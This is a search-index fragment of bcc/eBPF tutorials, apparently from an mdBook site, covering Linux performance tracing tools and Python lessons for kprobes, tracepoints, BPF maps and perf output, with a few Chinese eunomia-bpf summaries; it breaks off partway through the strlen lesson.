latency. This is great for understanding disk I/O latency beyond the average times given by tools like iostat. I/O latency outliers will be visible at the end of the distribution, as well as multi-mode distributions. More examples . 1.5. biosnoop # ./biosnoop\nTIME(s) COMM PID DISK T SECTOR BYTES LAT(ms)\n0.000004001 supervise 1950 xvda1 W 13092560 4096 0.74\n0.000178002 supervise 1950 xvda1 W 13092432 4096 0.61\n0.001469001 supervise 1956 xvda1 W 13092440 4096 1.24\n0.001588002 supervise 1956 xvda1 W 13115128 4096 1.09\n1.022346001 supervise 1950 xvda1 W 13115272 4096 0.98\n1.022568002 supervise 1950 xvda1 W 13188496 4096 0.93\n[...] biosnoop prints a line of output for each disk I/O, with details including latency (time from device issue to completion). This allows you to examine disk I/O in more detail, and look for time-ordered patterns (eg, reads queueing behind writes). Note that the output will be verbose if your system performs disk I/O at a high rate. More examples . 1.6. cachestat # ./cachestat HITS MISSES DIRTIES READ_HIT% WRITE_HIT% BUFFERS_MB CACHED_MB 1074 44 13 94.9% 2.9% 1 223 2195 170 8 92.5% 6.8% 1 143 182 53 56 53.6% 1.3% 1 143 62480 40960 20480 40.6% 19.8% 1 223 7 2 5 22.2% 22.2% 1 223 348 0 0 100.0% 0.0% 1 223\n[...] cachestat prints a one line summary every second (or every custom interval) showing statistics from the file system cache. Use this to identify a low cache hit ratio, and a high rate of misses: which gives one lead for performance tuning. More examples . 1.7. tcpconnect # ./tcpconnect\nPID COMM IP SADDR DADDR DPORT\n1479 telnet 4 127.0.0.1 127.0.0.1 23\n1469 curl 4 10.201.219.236 54.245.105.25 80\n1469 curl 4 10.201.219.236 54.67.101.145 80\n1991 telnet 6 ::1 ::1 23\n2015 ssh 6 fe80::2000:bff:fe82:3ac fe80::2000:bff:fe82:3ac 22\n[...] tcpconnect prints one line of output for every active TCP connection (eg, via connect()), with details including source and destination addresses. Look for unexpected connections that may point to inefficiencies in application configuration, or an intruder. More examples . 1.8. tcpaccept # ./tcpaccept\nPID COMM IP RADDR LADDR LPORT\n907 sshd 4 192.168.56.1 192.168.56.102 22\n907 sshd 4 127.0.0.1 127.0.0.1 22\n5389 perl 6 1234:ab12:2040:5020:2299:0:5:0 1234:ab12:2040:5020:2299:0:5:0 7001\n[...] tcpaccept prints one line of output for every passive TCP connection (eg, via accept()), with details including source and destination addresses. Look for unexpected connections that may point to inefficiencies in application configuration, or an intruder. More examples . 1.9. tcpretrans # ./tcpretrans\nTIME PID IP LADDR:LPORT T> RADDR:RPORT STATE\n01:55:05 0 4 10.153.223.157:22 R> 69.53.245.40:34619 ESTABLISHED\n01:55:05 0 4 10.153.223.157:22 R> 69.53.245.40:34619 ESTABLISHED\n01:55:17 0 4 10.153.223.157:22 R> 69.53.245.40:22957 ESTABLISHED\n[...] tcprerans prints one line of output for every TCP retransmit packet, with details including source and destination addresses, and kernel state of the TCP connection. TCP retransmissions cause latency and throughput issues. For ESTABLISHED retransmits, look for patterns with networks. For SYN_SENT, this may point to target kernel CPU saturation and kernel packet drops. More examples . 1.10. runqlat # ./runqlat\nTracing run queue latency... Hit Ctrl-C to end.\n^C usecs : count distribution 0 -> 1 : 233 |*********** | 2 -> 3 : 742 |************************************ | 4 -> 7 : 203 |********** | 8 -> 15 : 173 |******** | 16 -> 31 : 24 |* | 32 -> 63 : 0 | | 64 -> 127 : 30 |* | 128 -> 255 : 6 | | 256 -> 511 : 3 | | 512 -> 1023 : 5 | | 1024 -> 2047 : 27 |* | 2048 -> 4095 : 30 |* | 4096 -> 8191 : 20 | | 8192 -> 16383 : 29 |* | 16384 -> 32767 : 809 |****************************************| 32768 -> 65535 : 64 |*** | runqlat times how long threads were waiting on the CPU run queues, and prints this as a histogram. This can help quantify time lost waiting for a turn on CPU, during periods of CPU saturation. More examples . 1.11. profile # ./profile\nSampling at 49 Hertz of all threads by user + kernel stack... Hit Ctrl-C to end.\n^C 00007f31d76c3251 [unknown] 47a2c1e752bf47f7 [unknown] - sign-file (8877) 1 ffffffff813d0af8 __clear_user ffffffff813d5277 iov_iter_zero ffffffff814ec5f2 read_iter_zero ffffffff8120be9d __vfs_read ffffffff8120c385 vfs_read ffffffff8120d786 sys_read ffffffff817cc076 entry_SYSCALL_64_fastpath 00007fc5652ad9b0 read - dd (25036) 4 0000000000400542 func_a 0000000000400598 main 00007f12a133e830 __libc_start_main 083e258d4c544155 [unknown] - func_ab (13549) 5 [...] ffffffff8105eb66 native_safe_halt ffffffff8103659e default_idle ffffffff81036d1f arch_cpu_idle ffffffff810bba5a default_idle_call ffffffff810bbd07 cpu_startup_entry ffffffff8104df55 start_secondary - swapper/1 (0) 75 profile is a CPU profiler, which takes samples of stack traces at timed intervals, and prints a summary of unique stack traces and a count of their occurrence. Use this tool to understand the code paths that are consuming CPU resources. More examples .","breadcrumbs":"bcc Tutorial » 1. General Performance","id":"319","title":"1. General Performance"},"32":{"body":"本文介绍了如何使用 eBPF 程序来捕获进程打开文件的系统调用。在 eBPF 程序中，我们可以通过定义 tracepoint__syscalls__sys_enter_open 和 tracepoint__syscalls__sys_enter_openat 函数并使用 SEC 宏把它们附加到 sys_enter_open 和 sys_enter_openat 两个 tracepoint 来捕获进程打开文件的系统调用。我们可以使用 bpf_get_current_pid_tgid 函数获取调用 open 或 openat 系统调用的进程 ID，并使用 bpf_printk 函数在内核日志中打印出来。在 eBPF 程序中，我们还可以通过定义一个全局变量 pid_target 来指定要捕获的进程的 pid，从而过滤输出，只输出指定的进程的信息。 通过学习本教程，您应该对如何在 eBPF 中捕获和过滤特定进程的系统调用有了更深入的了解。这种方法在系统监控、性能分析和安全审计等场景中具有广泛的应用。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"捕获进程打开文件的系统调用集合，使用全局变量过滤进程 pid » 总结","id":"32","title":"总结"},"320":{"body":"In addition to the above tools for performance tuning, below is a checklist for bcc generic tools, first as a list, and in detail: trace argdist funccount These generic tools may be useful to provide visibility to solve your specific problems. 2.1. trace Example 1 Suppose you want to track file ownership change. There are three syscalls, chown, fchown and lchown which users can use to change file ownership. The corresponding syscall entry is SyS_[f|l]chown. The following command can be used to print out syscall parameters and the calling process user id. You can use id command to find the uid of a particular user. $ trace.py \\ 'p::SyS_chown \"file = %s, to_uid = %d, to_gid = %d, from_uid = %d\", arg1, arg2, arg3, $uid' \\ 'p::SyS_fchown \"fd = %d, to_uid = %d, to_gid = %d, from_uid = %d\", arg1, arg2, arg3, $uid' \\ 'p::SyS_lchown \"file = %s, to_uid = %d, to_gid = %d, from_uid = %d\", arg1, arg2, arg3, $uid'\nPID TID COMM FUNC -\n1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-usisgezu/tmp, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269441 1269441 zstd SyS_chown file = /tmp/dotsync-vic7ygj0/dotsync-package.zst, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-a40zd7ev/tmp, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269442 1269442 zstd SyS_chown file = /tmp/dotsync-gzp413o_/dotsync-package.zst, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-whx4fivm/tmp/.bash_profile, to_uid = 128203, to_gid = 100, from_uid = 128203 Example 2 Suppose you want to count nonvoluntary context switches (nvcsw) in your bpf based performance monitoring tools and you do not know what is the proper method. /proc/<pid>/status already tells you the number (nonvoluntary_ctxt_switches) for a pid and you can use trace.py to do a quick experiment to verify your method. With kernel source code, the nvcsw is counted at file linux/kernel/sched/core.c function __schedule and under condition !(!preempt && prev->state) // i.e., preempt || !prev->state The __schedule function is marked as notrace, and the best place to evaluate the above condition seems in sched/sched_switch tracepoint called inside function __schedule and defined in linux/include/trace/events/sched.h. trace.py already has args being the pointer to the tracepoint TP_STRUCT__entry. The above condition in function __schedule can be represented as args->prev_state == TASK_STATE_MAX || args->prev_state == 0 The below command can be used to count the involuntary context switches (per process or per pid) and compare to /proc/<pid>/status or /proc/<pid>/task/<task_id>/status for correctness, as in typical cases, involuntary context switches are not very common. $ trace.py -p 1134138 't:sched:sched_switch (args->prev_state == TASK_STATE_MAX || args->prev_state == 0)'\nPID TID COMM FUNC\n1134138 1134140 contention_test sched_switch\n1134138 1134142 contention_test sched_switch\n...\n$ trace.py -L 1134140 't:sched:sched_switch (args->prev_state == TASK_STATE_MAX || args->prev_state == 0)'\nPID TID COMM FUNC\n1134138 1134140 contention_test sched_switch\n1134138 1134140 contention_test sched_switch\n... Example 3 This example is related to issue 1231 and 1516 where uprobe does not work at all in certain cases. First, you can do a strace as below $ strace trace.py 'r:bash:readline \"%s\", retval'\n...\nperf_event_open(0x7ffd968212f0, -1, 0, -1, 0x8 /* PERF_FLAG_??? */) = -1 EIO (Input/output error)\n... The perf_event_open syscall returns -EIO. Digging into kernel uprobe related codes in /kernel/trace and /kernel/events directories to search EIO, the function uprobe_register is the most suspicious. Let us find whether this function is called or not and what is the return value if it is called. In one terminal using the following command to print out the return value of uprobe_register, $ trace.py 'r::uprobe_register \"ret = %d\", retval' In another terminal run the same bash uretprobe tracing example, and you should get $ trace.py 'r::uprobe_register \"ret = %d\", retval'\nPID TID COMM FUNC -\n1041401 1041401 python2.7 uprobe_register ret = -5 The -5 error code is EIO. This confirms that the following code in function uprobe_register is the most suspicious culprit. if (!inode->i_mapping->a_ops->readpage && !shmem_mapping(inode->i_mapping)) return -EIO; The shmem_mapping function is defined as bool shmem_mapping(struct address_space *mapping)\n{ return mapping->a_ops == &shmem_aops;\n} To confirm the theory, find what is inode->i_mapping->a_ops with the following command $ trace.py -I 'linux/fs.h' 'p::uprobe_register(struct inode *inode) \"a_ops = %llx\", inode->i_mapping->a_ops'\nPID TID COMM FUNC -\n814288 814288 python2.7 uprobe_register a_ops = ffffffff81a2adc0\n^C$ grep ffffffff81a2adc0 /proc/kallsyms\nffffffff81a2adc0 R empty_aops The kernel symbol empty_aops does not have readpage defined and hence the above suspicious condition is true. Further examining the kernel source code shows that overlayfs does not provide its own a_ops while some other file systems (e.g., ext4) define their own a_ops (e.g., ext4_da_aops), and ext4_da_aops defines readpage. Hence, uprobe works fine on ext4 while not on overlayfs. More examples . 2.2. argdist More examples . 2.3. funccount More examples .","breadcrumbs":"bcc Tutorial » 2. Observability with Generic Tools","id":"320","title":"2. Observability with Generic Tools"},"321":{"body":"To do.","breadcrumbs":"bcc Tutorial » Networking","id":"321","title":"Networking"},"322":{"body":"This tutorial is about developing bcc tools and programs using the Python interface. There are two parts: observability then networking. Snippets are taken from various programs in bcc: see their files for licences. Also see the bcc developer's reference_guide.md , and a tutorial for end-users of tools: tutorial.md . There is also a lua interface for bcc.","breadcrumbs":"bcc Python Developer Tutorial » bcc Python Developer Tutorial","id":"322","title":"bcc Python Developer Tutorial"},"323":{"body":"This observability tutorial contains 17 lessons, and 46 enumerated things to learn.","breadcrumbs":"bcc Python Developer Tutorial » Observability","id":"323","title":"Observability"},"324":{"body":"Start by running examples/hello_world.py , while running some commands (eg, \"ls\") in another session. It should print \"Hello, World!\" for new processes. If not, start by fixing bcc: see INSTALL.md . # ./examples/hello_world.py bash-13364 [002] d... 24573433.052937: : Hello, World! bash-13364 [003] d... 24573436.642808: : Hello, World!\n[...] Here's the code for hello_world.py: from bcc import BPF\nBPF(text='int kprobe__sys_clone(void *ctx) { bpf_trace_printk(\"Hello, World!\\\\n\"); return 0; }').trace_print() There are six things to learn from this: text='...': This defines a BPF program inline. The program is written in C. kprobe__sys_clone(): This is a short-cut for kernel dynamic tracing via kprobes. If the C function begins with kprobe__, the rest is treated as a kernel function name to instrument, in this case, sys_clone(). void *ctx: ctx has arguments, but since we aren't using them here, we'll just cast it to void *. bpf_trace_printk(): A simple kernel facility for printf() to the common trace_pipe (/sys/kernel/debug/tracing/trace_pipe). This is ok for some quick examples, but has limitations: 3 args max, 1 %s only, and trace_pipe is globally shared, so concurrent programs will have clashing output. A better interface is via BPF_PERF_OUTPUT(), covered later. return 0;: Necessary formality (if you want to know why, see #139 ). .trace_print(): A bcc routine that reads trace_pipe and prints the output.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 1. Hello World","id":"324","title":"Lesson 1. Hello World"},"325":{"body":"Write a program that traces the sys_sync() kernel function. Print \"sys_sync() called\" when it runs. Test by running sync in another session while tracing. The hello_world.py program has everything you need for this. Improve it by printing \"Tracing sys_sync()... Ctrl-C to end.\" when the program first starts. Hint: it's just Python.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 2. sys_sync()","id":"325","title":"Lesson 2. sys_sync()"},"326":{"body":"This program is in examples/tracing/hello_fields.py . Sample output (run commands in another session): # examples/tracing/hello_fields.py\nTIME(s) COMM PID MESSAGE\n24585001.174885999 sshd 1432 Hello, World!\n24585001.195710000 sshd 15780 Hello, World!\n24585001.991976000 systemd-udevd 484 Hello, World!\n24585002.276147000 bash 15787 Hello, World! Code: from bcc import BPF # define BPF program\nprog = \"\"\"\nint hello(void *ctx) { bpf_trace_printk(\"Hello, World!\\\\n\"); return 0;\n}\n\"\"\" # load BPF program\nb = BPF(text=prog)\nb.attach_kprobe(event=b.get_syscall_fnname(\"clone\"), fn_name=\"hello\") # header\nprint(\"%-18s %-16s %-6s %s\" % (\"TIME(s)\", \"COMM\", \"PID\", \"MESSAGE\")) # format output\nwhile 1: try: (task, pid, cpu, flags, ts, msg) = b.trace_fields() except ValueError: continue print(\"%-18.9f %-16s %-6d %s\" % (ts, task, pid, msg)) This is similar to hello_world.py, and traces new processes via sys_clone() again, but has a few more things to learn: prog =: This time we declare the C program as a variable, and later refer to it. This is useful if you want to add some string substitutions based on command line arguments. hello(): Now we're just declaring a C function, instead of the kprobe__ shortcut. We'll refer to this later. All C functions declared in the BPF program are expected to be executed on a probe, hence they all need to take a pt_reg* ctx as first argument. If you need to define some helper function that will not be executed on a probe, they need to be defined as static inline in order to be inlined by the compiler. Sometimes you would also need to add _always_inline function attribute to it. b.attach_kprobe(event=b.get_syscall_fnname(\"clone\"), fn_name=\"hello\"): Creates a kprobe for the kernel clone system call function, which will execute our defined hello() function. You can call attach_kprobe() more than once, and attach your C function to multiple kernel functions. b.trace_fields(): Returns a fixed set of fields from trace_pipe. Similar to trace_print(), this is handy for hacking, but for real tooling we should switch to BPF_PERF_OUTPUT().","breadcrumbs":"bcc Python Developer Tutorial » Lesson 3. hello_fields.py","id":"326","title":"Lesson 3. hello_fields.py"},"327":{"body":"Remember the days of sysadmins typing sync three times on a slow console before reboot, to give the first asynchronous sync time to complete? Then someone thought sync;sync;sync was clever, to run them all on one line, which became industry practice despite defeating the original purpose! And then sync became synchronous, so more reasons it was silly. Anyway. The following example times how quickly the do_sync function is called, and prints output if it has been called more recently than one second ago. A sync;sync;sync will print output for the 2nd and 3rd sync's: # examples/tracing/sync_timing.py\nTracing for quick sync's... Ctrl-C to end\nAt time 0.00 s: multiple syncs detected, last 95 ms ago\nAt time 0.10 s: multiple syncs detected, last 96 ms ago This program is examples/tracing/sync_timing.py : from __future__ import print_function\nfrom bcc import BPF # load BPF program\nb = BPF(text=\"\"\"\n#include <uapi/linux/ptrace.h> BPF_HASH(last); int do_trace(struct pt_regs *ctx) { u64 ts, *tsp, delta, key = 0; // attempt to read stored timestamp tsp = last.lookup(&key); if (tsp != NULL) { delta = bpf_ktime_get_ns() - *tsp; if (delta < 1000000000) { // output if time is less than 1 second bpf_trace_printk(\"%d\\\\n\", delta / 1000000); } last.delete(&key); } // update stored timestamp ts = bpf_ktime_get_ns(); last.update(&key, &ts); return 0;\n}\n\"\"\") b.attach_kprobe(event=b.get_syscall_fnname(\"sync\"), fn_name=\"do_trace\")\nprint(\"Tracing for quick sync's... Ctrl-C to end\") # format output\nstart = 0\nwhile 1: (task, pid, cpu, flags, ts, ms) = b.trace_fields() if start == 0: start = ts ts = ts - start print(\"At time %.2f s: multiple syncs detected, last %s ms ago\" % (ts, ms)) Things to learn: bpf_ktime_get_ns(): Returns the time as nanoseconds. BPF_HASH(last): Creates a BPF map object that is a hash (associative array), called \"last\". We didn't specify any further arguments, so it defaults to key and value types of u64. key = 0: We'll only store one key/value pair in this hash, where the key is hardwired to zero. last.lookup(&key): Lookup the key in the hash, and return a pointer to its value if it exists, else NULL. We pass the key in as an address to a pointer. if (tsp != NULL) {: The verifier requires that pointer values derived from a map lookup must be checked for a null value before they can be dereferenced and used. last.delete(&key): Delete the key from the hash. This is currently required because of a kernel bug in .update() (fixed in 4.8.10). last.update(&key, &ts): Associate the value in the 2nd argument to the key, overwriting any previous value. This records the timestamp.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 4. sync_timing.py","id":"327","title":"Lesson 4. sync_timing.py"},"328":{"body":"Modify the sync_timing.py program (prior lesson) to store the count of all kernel sync system calls (both fast and slow), and print it with the output. This count can be recorded in the BPF program by adding a new key index to the existing hash.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 5. sync_count.py","id":"328","title":"Lesson 5. sync_count.py"},"329":{"body":"Browse the examples/tracing/disksnoop.py program to see what is new. Here is some sample output: # disksnoop.py\nTIME(s) T BYTES LAT(ms)\n16458043.436012 W 4096 3.13\n16458043.437326 W 4096 4.44\n16458044.126545 R 4096 42.82\n16458044.129872 R 4096 3.24\n[...] And a code snippet: [...]\nREQ_WRITE = 1 # from include/linux/blk_types.h # load BPF program\nb = BPF(text=\"\"\"\n#include <uapi/linux/ptrace.h>\n#include <linux/blk-mq.h> BPF_HASH(start, struct request *); void trace_start(struct pt_regs *ctx, struct request *req) { // stash start timestamp by request ptr u64 ts = bpf_ktime_get_ns(); start.update(&req, &ts);\n} void trace_completion(struct pt_regs *ctx, struct request *req) { u64 *tsp, delta; tsp = start.lookup(&req); if (tsp != 0) { delta = bpf_ktime_get_ns() - *tsp; bpf_trace_printk(\"%d %x %d\\\\n\", req->__data_len, req->cmd_flags, delta / 1000); start.delete(&req); }\n}\n\"\"\")\nif BPF.get_kprobe_functions(b'blk_start_request'): b.attach_kprobe(event=\"blk_start_request\", fn_name=\"trace_start\")\nb.attach_kprobe(event=\"blk_mq_start_request\", fn_name=\"trace_start\")\nif BPF.get_kprobe_functions(b'__blk_account_io_done'): b.attach_kprobe(event=\"__blk_account_io_done\", fn_name=\"trace_completion\")\nelse: b.attach_kprobe(event=\"blk_account_io_done\", fn_name=\"trace_completion\")\n[...] Things to learn: REQ_WRITE: We're defining a kernel constant in the Python program because we'll use it there later. If we were using REQ_WRITE in the BPF program, it should just work (without needing to be defined) with the appropriate #includes. trace_start(struct pt_regs *ctx, struct request *req): This function will later be attached to kprobes. The arguments to kprobe functions are struct pt_regs *ctx, for registers and BPF context, and then the actual arguments to the function. We'll attach this to blk_start_request(), where the first argument is struct request *. start.update(&req, &ts): We're using the pointer to the request struct as a key in our hash. What? This is commonplace in tracing. Pointers to structs turn out to be great keys, as they are unique: two structs can't have the same pointer address. (Just be careful about when it gets free'd and reused.) So what we're really doing is tagging the request struct, which describes the disk I/O, with our own timestamp, so that we can time it. There's two common keys used for storing timestamps: pointers to structs, and, thread IDs (for timing function entry to return). req->__data_len: We're dereferencing members of struct request. See its definition in the kernel source for what members are there. bcc actually rewrites these expressions to be a series of bpf_probe_read_kernel() calls. Sometimes bcc can't handle a complex dereference, and you need to call bpf_probe_read_kernel() directly. This is a pretty interesting program, and if you can understand all the code, you'll understand many important basics. We're still using the bpf_trace_printk() hack, so let's fix that next.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 6. disksnoop.py","id":"329","title":"Lesson 6. disksnoop.py"},"33":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具，它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第五篇，主要介绍如何使用 uprobe 捕获 bash 的 readline 函数调用。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » eBPF 入门开发实践教程五：在 eBPF 中使用 uprobe 捕获 bash 的 readline 函数调用","id":"33","title":"eBPF 入门开发实践教程五：在 eBPF 中使用 uprobe 捕获 bash 的 readline 函数调用"},"330":{"body":"Let's finally stop using bpf_trace_printk() and use the proper BPF_PERF_OUTPUT() interface. This will also mean we stop getting the free trace_field() members like PID and timestamp, and will need to fetch them directly. Sample output while commands are run in another session: # hello_perf_output.py\nTIME(s) COMM PID MESSAGE\n0.000000000 bash 22986 Hello, perf_output!\n0.021080275 systemd-udevd 484 Hello, perf_output!\n0.021359520 systemd-udevd 484 Hello, perf_output!\n0.021590610 systemd-udevd 484 Hello, perf_output!\n[...] Code is examples/tracing/hello_perf_output.py : from bcc import BPF # define BPF program\nprog = \"\"\"\n#include <linux/sched.h> // define output data structure in C\nstruct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_PERF_OUTPUT(events); int hello(struct pt_regs *ctx) { struct data_t data = {}; data.pid = bpf_get_current_pid_tgid(); data.ts = bpf_ktime_get_ns(); bpf_get_current_comm(&data.comm, sizeof(data.comm)); events.perf_submit(ctx, &data, sizeof(data)); return 0;\n}\n\"\"\" # load BPF program\nb = BPF(text=prog)\nb.attach_kprobe(event=b.get_syscall_fnname(\"clone\"), fn_name=\"hello\") # header\nprint(\"%-18s %-16s %-6s %s\" % (\"TIME(s)\", \"COMM\", \"PID\", \"MESSAGE\")) # process event\nstart = 0\ndef print_event(cpu, data, size): global start event = b[\"events\"].event(data) if start == 0: start = event.ts time_s = (float(event.ts - start)) / 1000000000 print(\"%-18.9f %-16s %-6d %s\" % (time_s, event.comm, event.pid, \"Hello, perf_output!\")) # loop with callback to print_event\nb[\"events\"].open_perf_buffer(print_event)\nwhile 1: b.perf_buffer_poll() Things to learn: struct data_t: This defines the C struct we'll use to pass data from kernel to user space. BPF_PERF_OUTPUT(events): This names our output channel \"events\". struct data_t data = {};: Create an empty data_t struct that we'll then populate. bpf_get_current_pid_tgid(): Returns the process ID in the lower 32 bits (kernel's view of the PID, which in user space is usually presented as the thread ID), and the thread group ID in the upper 32 bits (what user space often thinks of as the PID). By directly setting this to a u32, we discard the upper 32 bits. Should you be presenting the PID or the TGID? For a multi-threaded app, the TGID will be the same, so you need the PID to differentiate them, if that's what you want. It's also a question of expectations for the end user. bpf_get_current_comm(): Populates the first argument address with the current process name. events.perf_submit(): Submit the event for user space to read via a perf ring buffer. def print_event(): Define a Python function that will handle reading events from the events stream. b[\"events\"].event(data): Now get the event as a Python object, auto-generated from the C declaration. b[\"events\"].open_perf_buffer(print_event): Associate the Python print_event function with the events stream. while 1: b.perf_buffer_poll(): Block waiting for events.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 7. hello_perf_output.py","id":"330","title":"Lesson 7. hello_perf_output.py"},"331":{"body":"Rewrite sync_timing.py, from a prior lesson, to use BPF_PERF_OUTPUT.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 8. sync_perf_output.py","id":"331","title":"Lesson 8. sync_perf_output.py"},"332":{"body":"The following tool records a histogram of disk I/O sizes. Sample output: # bitehist.py\nTracing... Hit Ctrl-C to end.\n^C kbytes : count distribution 0 -> 1 : 3 | | 2 -> 3 : 0 | | 4 -> 7 : 211 |********** | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 1 | | 128 -> 255 : 800 |**************************************| Code is examples/tracing/bitehist.py : from __future__ import print_function\nfrom bcc import BPF\nfrom time import sleep # load BPF program\nb = BPF(text=\"\"\"\n#include <uapi/linux/ptrace.h>\n#include <linux/blkdev.h> BPF_HISTOGRAM(dist); int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req)\n{ dist.increment(bpf_log2l(req->__data_len / 1024)); return 0;\n}\n\"\"\") # header\nprint(\"Tracing... Hit Ctrl-C to end.\") # trace until Ctrl-C\ntry: sleep(99999999)\nexcept KeyboardInterrupt: print() # output\nb[\"dist\"].print_log2_hist(\"kbytes\") A recap from earlier lessons: kprobe__: This prefix means the rest will be treated as a kernel function name that will be instrumented using kprobe. struct pt_regs *ctx, struct request *req: Arguments to kprobe. The ctx is registers and BPF context, the req is the first argument to the instrumented function: blk_account_io_done(). req->__data_len: Dereferencing that member. New things to learn: BPF_HISTOGRAM(dist): Defines a BPF map object that is a histogram, and names it \"dist\". dist.increment(): Increments the histogram bucket index provided as first argument by one by default. Optionally, custom increments can be passed as the second argument. bpf_log2l(): Returns the log-2 of the provided value. This becomes the index of our histogram, so that we're constructing a power-of-2 histogram. b[\"dist\"].print_log2_hist(\"kbytes\"): Prints the \"dist\" histogram as power-of-2, with a column header of \"kbytes\". The only data transferred from kernel to user space is the bucket counts, making this efficient.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 9. bitehist.py","id":"332","title":"Lesson 9. bitehist.py"},"333":{"body":"Write a program that times disk I/O, and prints a histogram of their latency. Disk I/O instrumentation and timing can be found in the disksnoop.py program from a prior lesson, and histogram code can be found in bitehist.py from a prior lesson.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 10. disklatency.py","id":"333","title":"Lesson 10. disklatency.py"},"334":{"body":"This example is split into separate Python and C files. Example output: # vfsreadlat.py 1\nTracing... Hit Ctrl-C to end. usecs : count distribution 0 -> 1 : 0 | | 2 -> 3 : 2 |*********** | 4 -> 7 : 7 |****************************************| 8 -> 15 : 4 |********************** | usecs : count distribution 0 -> 1 : 29 |****************************************| 2 -> 3 : 28 |************************************** | 4 -> 7 : 4 |***** | 8 -> 15 : 8 |*********** | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 0 | | 128 -> 255 : 0 | | 256 -> 511 : 2 |** | 512 -> 1023 : 0 | | 1024 -> 2047 : 0 | | 2048 -> 4095 : 0 | | 4096 -> 8191 : 4 |***** | 8192 -> 16383 : 6 |******** | 16384 -> 32767 : 9 |************ | 32768 -> 65535 : 6 |******** | 65536 -> 131071 : 2 |** | usecs : count distribution 0 -> 1 : 11 |****************************************| 2 -> 3 : 2 |******* | 4 -> 7 : 10 |************************************ | 8 -> 15 : 8 |***************************** | 16 -> 31 : 1 |*** | 32 -> 63 : 2 |******* |\n[...] Browse the code in examples/tracing/vfsreadlat.py and examples/tracing/vfsreadlat.c . Things to learn: b = BPF(src_file = \"vfsreadlat.c\"): Read the BPF C program from a separate source file. b.attach_kretprobe(event=\"vfs_read\", fn_name=\"do_return\"): Attaches the BPF C function do_return() to the return of the kernel function vfs_read(). This is a kretprobe: instrumenting the return from a function, rather than its entry. b[\"dist\"].clear(): Clears the histogram.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 11. vfsreadlat.py","id":"334","title":"Lesson 11. vfsreadlat.py"},"335":{"body":"Tracing while a dd if=/dev/urandom of=/dev/null bs=8k count=5 is run: # urandomread.py\nTIME(s) COMM PID GOTBITS\n24652832.956994001 smtp 24690 384\n24652837.726500999 dd 24692 65536\n24652837.727111001 dd 24692 65536\n24652837.727703001 dd 24692 65536\n24652837.728294998 dd 24692 65536\n24652837.728888001 dd 24692 65536 Hah! I caught smtp by accident. Code is examples/tracing/urandomread.py : from __future__ import print_function\nfrom bcc import BPF # load BPF program\nb = BPF(text=\"\"\"\nTRACEPOINT_PROBE(random, urandom_read) { // args is from /sys/kernel/debug/tracing/events/random/urandom_read/format bpf_trace_printk(\"%d\\\\n\", args->got_bits); return 0;\n}\n\"\"\") # header\nprint(\"%-18s %-16s %-6s %s\" % (\"TIME(s)\", \"COMM\", \"PID\", \"GOTBITS\")) # format output\nwhile 1: try: (task, pid, cpu, flags, ts, msg) = b.trace_fields() except ValueError: continue print(\"%-18.9f %-16s %-6d %s\" % (ts, task, pid, msg)) Things to learn: TRACEPOINT_PROBE(random, urandom_read): Instrument the kernel tracepoint random:urandom_read. These have a stable API, and thus are recommend to use instead of kprobes, wherever possible. You can run perf list for a list of tracepoints. Linux >= 4.7 is required to attach BPF programs to tracepoints. args->got_bits: args is auto-populated to be a structure of the tracepoint arguments. The comment above says where you can see that structure. Eg: # cat /sys/kernel/debug/tracing/events/random/urandom_read/format\nname: urandom_read\nID: 972\nformat: field:unsigned short common_type;\toffset:0;\tsize:2;\tsigned:0; field:unsigned char common_flags;\toffset:2;\tsize:1;\tsigned:0; field:unsigned char common_preempt_count;\toffset:3;\tsize:1;\tsigned:0; field:int common_pid;\toffset:4;\tsize:4;\tsigned:1; field:int got_bits;\toffset:8;\tsize:4;\tsigned:1; field:int pool_left;\toffset:12;\tsize:4;\tsigned:1; field:int input_left;\toffset:16;\tsize:4;\tsigned:1; print fmt: \"got_bits %d nonblocking_pool_entropy_left %d input_entropy_left %d\", REC->got_bits, REC->pool_left, REC->input_left In this case, we were printing the got_bits member.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 12. urandomread.py","id":"335","title":"Lesson 12. urandomread.py"},"336":{"body":"Convert disksnoop.py from a previous lesson to use the block:block_rq_issue and block:block_rq_complete tracepoints.","breadcrumbs":"bcc Python Developer Tutorial » Lesson 13. disksnoop.py fixed","id":"336","title":"Lesson 13. disksnoop.py fixed"},"337":{"body":"This program instruments a user-level function, the strlen() library function, and frequency counts its string argument. Example output: # strlen_count.py\nTracing strlen()... Hit Ctrl-C to end.\n^C COUNT STRING 1 \" \" 1 \"/bin/ls\" 1 \".\" 1 \"cpudist.py.1\" 1 \".bashrc\" 1 \"ls --color=auto\" 1 \"key_t\"\n[...] 10 \"a7:~# \" 10 \"/root\" 12 \"LC_ALL\" 12 \"en_US.UTF-8\" 13 \"en_US.UTF-8\" 20 \"~\" 70 \"#%^,~:-=?+/}\" 340 